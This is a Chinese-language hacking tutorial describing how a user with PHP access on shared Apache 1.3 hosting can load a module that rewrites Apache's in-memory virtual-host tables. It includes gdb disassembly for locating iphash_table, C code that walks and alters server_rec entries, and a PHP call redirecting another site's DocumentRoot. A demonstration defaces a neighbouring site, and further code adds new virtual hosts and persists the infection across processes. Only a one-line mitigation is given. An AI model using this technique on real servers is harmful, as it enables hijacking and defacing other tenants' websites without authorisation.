Attacking Apache with builtin Modules in Multihomed Environments
|=-=[ Attacking Apache with builtin Modules in Multihomed Environments ]=|
|=----------------------------------------------------------------------=|
|=--------------=[ cnbird <cnbird@linuxmail.org> ]=---------------------=|
--[ 内容
0 - 前言
1 - 描述
2 - Apache内存布局
3 - 在内存中得到虚拟主机
4 - 修改一个虚拟主机
5 - 一个攻击的样品
6 - 加一个新的虚拟主机
7 - 坚持
8 - 解决方案
9 - 参考..
--[ 0 - 前言
大家好,我是cnbird,来自第八军团,是一个普通的安全爱好者,但我有热血来搞安全,为的是国内的安装状
况可以得到很好的提升,欢迎大家和我讨论技术.黑站我不会也没有兴趣,希望真诚的结交爱好安全的朋友
qq:550669
现在用apache的虚拟机器非常广泛,如果我们没有很好的安全措施的话可以给黑客很多的利用机会.希望大家重视
重视重视起来
--[ 1 - 描述
本文讲会展示一个简单的方法去修改来自apache进程的内存布局.大多数的web主机提供者都用PHP和Mod_Perl
作为建立在Apache模块来改进web服务器的性能.这种方式当然比加载扩展程序快的多(例如:用cgi模块运行php).
另一方面,这脚本作为apache进程运行在相同的内存空间所以你可以很轻松的更改内存的内容.
这是为什么这个材料可以很好的工作的原因.Apache再内存中有5个子进程.当HTTP请求以后它讲不会被杀,当关闭
一个连接请求以后,它不是退出当前的APACHE进程,同时作为下一个连接的进程,他们使用相同的进程.
所以当你发送一些请求到apache服务器的时候你能够"感染"每一个进程.
我们用这种攻击技术去劫持一个虚拟的主机.我知道这有很多其他的方法去控制HTTP请求,但是所有的方式要求
至少一个运行在服务器上进程.这种劫持apache的方法不要求其他的进程,因为我们改变了apache进程本身的内存.
所以它能想以前一样的工作.
这个攻击技术要求在服务器有一个帐号,同时这个主机还应该至少有2个站点.没有你自己的php脚本的权限,
你不能利用ApCHE.
--[ 2 - Apache内存布局
所以当Apache接受到一个http请求的时候一个来自request_rec的类讲会被创建,这个类包含了HTTP请求的方式的信息,
例如GET,POST...,HTTP协议的状态号等等.当然服务器IP列表将被在iphash_talbe查.这个来自列表的指针讲存储在请求
类中.(变量vhost_lookup_data)。当来自HTTP请求的头部被读以后它讲更新虚拟主机的状态.它讲用vhost_loopup_data
指针来寻找当前的虚拟主.
Apache用内部的列表.去加速搜索请求.关于虚拟主机被存贮到server_rec这个类的信息.
[apache_1.3.29/src/include/httpd.h]
...
struct server_rec {
server_rec *next;
...
/* Contact information */
char *server_admin;
char *server_hostname;
unsigned short port; /* for redirects, etc. */
...
char *path; /* Pathname for ServerPath */
int pathlen; /* Length of path */
array_header *names; /* Normal names for ServerAlias servers */
array_header *wild_names;/* Wildcarded names for ServerAlias servers */
uid_t server_uid; /* effective user id when calling exec wrapper */
gid_t server_gid; /* effective group id when calling exec wrapper */
};
正如你看到的那样这有很多有趣的值我们看起来应该更改.想象你正在运行一个虚拟主机作为http://www.evil.com相同的
主机.所以你可以很简单的去看虚拟主机同时改变这些变量.
所以我们知道Apache存贮虚拟主机的信息.现在我们去寻找这个列表,同时找到指向server_rec类的结构,让我们来看一下
apache初始的虚拟主机.
[apache_1.3.29/src/main/http_vhost.c]
...
/* called at the beginning of the config */
API_EXPORT(void) ap_init_vhost_config(pool *p)
{
memset(iphash_table, 0, sizeof(iphash_table));
default_list = NULL;
name_vhost_list = NULL;
name_vhost_list_tail = &name_vhost_list;
}
...
正如你看到的那样这有2个列表,和一个hash表.这个hash表被用做IP地址查询.default_list包含_default _server
name_vhsot_list包含其他所有的虚拟主机.来自hash表的这些类有如下的数据结构:
struct ipaddr_chain {
ipaddr_chain *next;
server_addr_rec *sar; /* the record causing it to be in
* this chain (need for both ip addr and port
* comparisons) */
server_rec *server; /* the server to use if this matches */
name_chain *names; /* if non-NULL then a list of name-vhosts
* sharing this address */
};
然后你把一些虚拟主机指向IP地址(name_chain *names).同时我们可以直接访问虚拟主机的数据在上面的数据结构中.
struct name_chain {
name_chain *next;
server_addr_rec *sar; /* the record causing it to be in
* this chain (needed for port comparisons) */
server_rec *server; /* the server to use on a match */
};
所以下面给出的代码讲查找当前的vhost:
...
for (i = 0; i < IPHASH_TABLE_SIZE; i++) {
for (trav = iphash_table[i]; trav; trav = trav->next) {
for (n = trav->names; n != NULL; n = n->next) {
conf = ap_get_module_config(n->server->module_config,
&core_module);
if ( (host != NULL &&
!strcmp(host, n->server->server_hostname)) ||
host == NULL ){
php_printf("VirtualHost: [%s, %s, %s, %s]<br>\n",
n->sar->virthost,
n->server->server_admin,
n->server->server_hostname,
conf->ap_document_root);
}
}
}
}
...
--[ 3 - 在内存中得到虚拟主机
如果我们想要虚拟主机的特性我们应该知道apache存在在内存中的地址再哪.Apache读取配置文件以前进行初始化.
这个过程完成在ap_init_vhost_config()这个过程当中.
...
/* called at the beginning of the config */
API_EXPORT(void) ap_init_vhost_config(pool *p)
{
memset(iphash_table, 0, sizeof(iphash_table)); <---- Yes, thats great
default_list = NULL;
name_vhost_list = NULL;
name_vhost_list_tail = &name_vhost_list;
}
...
所有这有一些方法去得到iphash_talbe的地址.你可以用gbd,nm。。。。
[cnbird@loca~]$ gdb /usr/sbin/apache
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)...
(gdb) disass ap_init_vhost_config
Dump of assembler code for function ap_init_vhost_config:
0x080830e0 <ap_init_vhost_config+0>: push %ebp
0x080830e1 <ap_init_vhost_config+1>: mov %esp,%ebp
0x080830e3 <ap_init_vhost_config+3>: sub $0x8,%esp
0x080830e6 <ap_init_vhost_config+6>: add $0xfffffffc,%esp
0x080830e9 <ap_init_vhost_config+9>: push $0x400
0x080830ee <ap_init_vhost_config+14>: push $0x0
0x080830f0 <ap_init_vhost_config+16>: push $0x80ceec0
^^^^^^^^^^
address of iphash_table
0x080830f5 <ap_init_vhost_config+21>: call 0x804f858 <memset>
0x080830fa <ap_init_vhost_config+26>: add $0x10,%esp
0x080830fd <ap_init_vhost_config+29>: movl $0x0,0x80cf2c0
0x08083107 <ap_init_vhost_config+39>: movl $0x0,0x80cf2c4
0x08083111 <ap_init_vhost_config+49>: movl $0x80cf2c4,0x80cf2c8
0x0808311b <ap_init_vhost_config+59>: leave
0x0808311c <ap_init_vhost_config+60>: ret
0x0808311d <ap_init_vhost_config+61>: lea 0x0(%esi),%esi
End of assembler dump.
如果你不访问这个二进制的apache你可以用其他的方法:在hoagie_apachephp.c中有一些扩展的apache过程.
...
/* some external defintions to get address locations from memory */
extern API_EXPORT(void) ap_init_vhost_config(pool *p);
extern API_VAR_EXPORT module core_module;
...
在我们的模块里面我们已经有了这个过程的地址.
iphash_table =
(ipaddr_chain **)getcall((char*)ap_init_vhost_config, "push", 3);
default_list =
(ipaddr_chain *)getcall((char*)ap_init_vhost_config, "mov", 1);
现在我们很轻松的就可以改变意识的vhost数据.
建议:他取决于你的编译器和编译器的版本.用mov或者push返回当前的地址.
--[ 5 - 一个攻击的样品
想象下面的情况:
这有3个目录和3个index.html文件.让我们来看看这个内容.
[cnbird@loca~]$ ls -al hack1/ vhost1/ vhost2/
hack1/:
total 16
drwxr-sr-x 2 andi andi 4096 Apr 25 03:33 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
-rw-r--r-- 1 root staff 20 Apr 25 02:19 index.html
vhost1/:
total 332
drwxr-sr-x 2 andi andi 4096 May 6 14:20 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
-rw-r--r-- 1 andi andi 905 May 6 14:21 hoagie_apache_php.php
-rwxr-xr-x 1 andi andi 317265 May 6 14:25 hoagie_apache.so
-rw-r--r-- 1 root andi 15 Apr 25 02:18 index.html
vhost2/:
total 16
drwxr-sr-x 2 andi andi 4096 Apr 25 03:31 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
-rw-r--r-- 1 root andi 15 Apr 25 02:18 index.html
-rw-r--r-- 1 andi andi 15 Apr 25 03:31 test.html
[cnbird@loca~]$ cat hack1/index.html
hacked!!!!!
w0w0w0w
[cnbird@loca~]$ cat vhost1/index.html
www.vhost1.com
[cnbird@loca~]$ cat vhost1/hoagie_apachephp.php
...
if (php_hoagie_loaddl()) {
hoagie_setvhostdocumentroot("www.vhost2.com", "/home/hack1");
} else {
php_hoagie_debug("Cannot load " . PHP_MEM_MODULE);
}
...
[cnbird@loca~]$ cat vhost2/index.html
www.vhost2.com
[cnbird@loca~]$ cat /home/andi/bin/apache/conf/httpd.conf
...
<VirtualHost 172.16.0.123:8080>
ServerAdmin webmaster@vhost1.com
DocumentRoot /home/vhost1
ServerName www.vhost1.com
ErrorLog logs/www.vhost1.com-error_log
CustomLog logs/www.vhost1.com-access_log common
</VirtualHost>
<VirtualHost 172.16.0.123:8080>
ServerAdmin webmaster@vhost1.com
DocumentRoot /home/vhost2
ServerName www.vhost2.com
ErrorLog logs/www.vhost2.com-error_log
CustomLog logs/www.vhost2.com-access_log common
</VirtualHost>
...
[cnbird@loca~]$
所以当我们攻击以前我们发送一些HTTP请求同时寻找当前的答案.
[cnbird@loca~]$ nc www.vhost1.com 8080
GET / HTTP/1.0
Host: www.vhost1.com
HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:52:58 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:38 GMT
ETag: "5a826-f-408b03de"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html
www.vhost1.com
[cnbird@loca~]$ nc www.vhost2.com 8080
GET / HTTP/1.0
Host: www.vhost2.com
HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:53:06 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:46 GMT
ETag: "5a827-f-408b03e6"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html
www.vhost2.com
现在让我们来攻击.....
[cnbird@loca~]$ /home/andi/bin/apache/bin/ab -n 200 -c 200 \
http://www.vhost1.com:8080/hoagie_apachephp.php
....
[cnbird@loca~]$ nc www.vhost2.com 8080
HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:56:27 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:19:57 GMT
ETag: "1bc99-14-408b042d"
Accept-Ranges: bytes
Content-Length: 20
Connection: close
Content-Type: text/html
hacked!!!!!
w0w0w0w
--[ 6 - 加一个新的虚拟主机
我们能修改一个虚拟主机同时我们也能添加一个新的.我们知道apache用iphash_table来查询当前的虚拟主机相应的
IP地址.所以当我们添加一个新的虚拟主机的时候我们首先要计算hash索引.用hash_inaddr()来完成.
apache_1.3.29/src/main/http_vhost.c]
...
static ap_inline unsigned hash_inaddr(unsigned key)
{
key ^= (key >> 16);
return ((key >> 8) ^ key) % IPHASH_TABLE_SIZE;
}
...
多数情况下这有一个name_chain (*names)的类型,因为IP地址经常不被用作其他的vhost.所以我们可以通过名字列表同
同时加一个name_chain的类型.当我们加一个类型或者是变量以前我们得到pconf的值(为ap_palloc()).ap_palloc是Apache
的malloc函数.pconf的地址用ap_register_other_child()函数.
现在我们创建一个name_chain类型的类.然后我们加一个存贮IP地址和端口号的server_add_rec类.当一些重要的类型被加
以后:server_rec.我们要去设置服务器的管理员,服务器email,模块配置,目录配置等等.查看hoagie_apachephp.c的
hoagie_addvhost()函数.
...
/* allocate memory for new virtual host objects and it's sub objects */
nc = ap_palloc(pconf, sizeof(name_chain));
nc->next = NULL;
/* set IP address and port information */
nc->sar = ap_palloc(pconf, sizeof(server_addr_rec));
nc->sar->next = NULL;
nc->sar->host_addr.s_addr = ipaddr;
nc->sar->host_port = 8080;
nc->sar->virthost = ap_palloc(pconf, strlen(ipaddrstr) + 1);
strcpy(nc->sar->virthost, ipaddrstr);
...
感染Apache进程.
--[ 7 - 坚持
现在我们感染apache进程.但是apache也创建一些写的进程当完成一些HTTP请求的时候,但是并没有被感染.
所以我们要为所有运行apache进程的信号调用重定向.因此当每一个新的连接以后讲被感染.更多的信息请看
[4].当apache没有以root用户运行的时候完成,因为setuid()调用以后老的uid和新的linuxuid不相等.当然这
也可以用ptrace()这个进程来设置标志位.
--[ 8 - 解决?????
最好的解决办法是把apache的内存配置改成read-only.
--[ 9 - 参考..
[1] Apache - http://www.apache.org
[2] PHP - http://www.php.net
[3] ModPerl - http://www.modperl.org
[4] Runtime Process Infection - http://www.phrack.org/show.php?p=59&a=8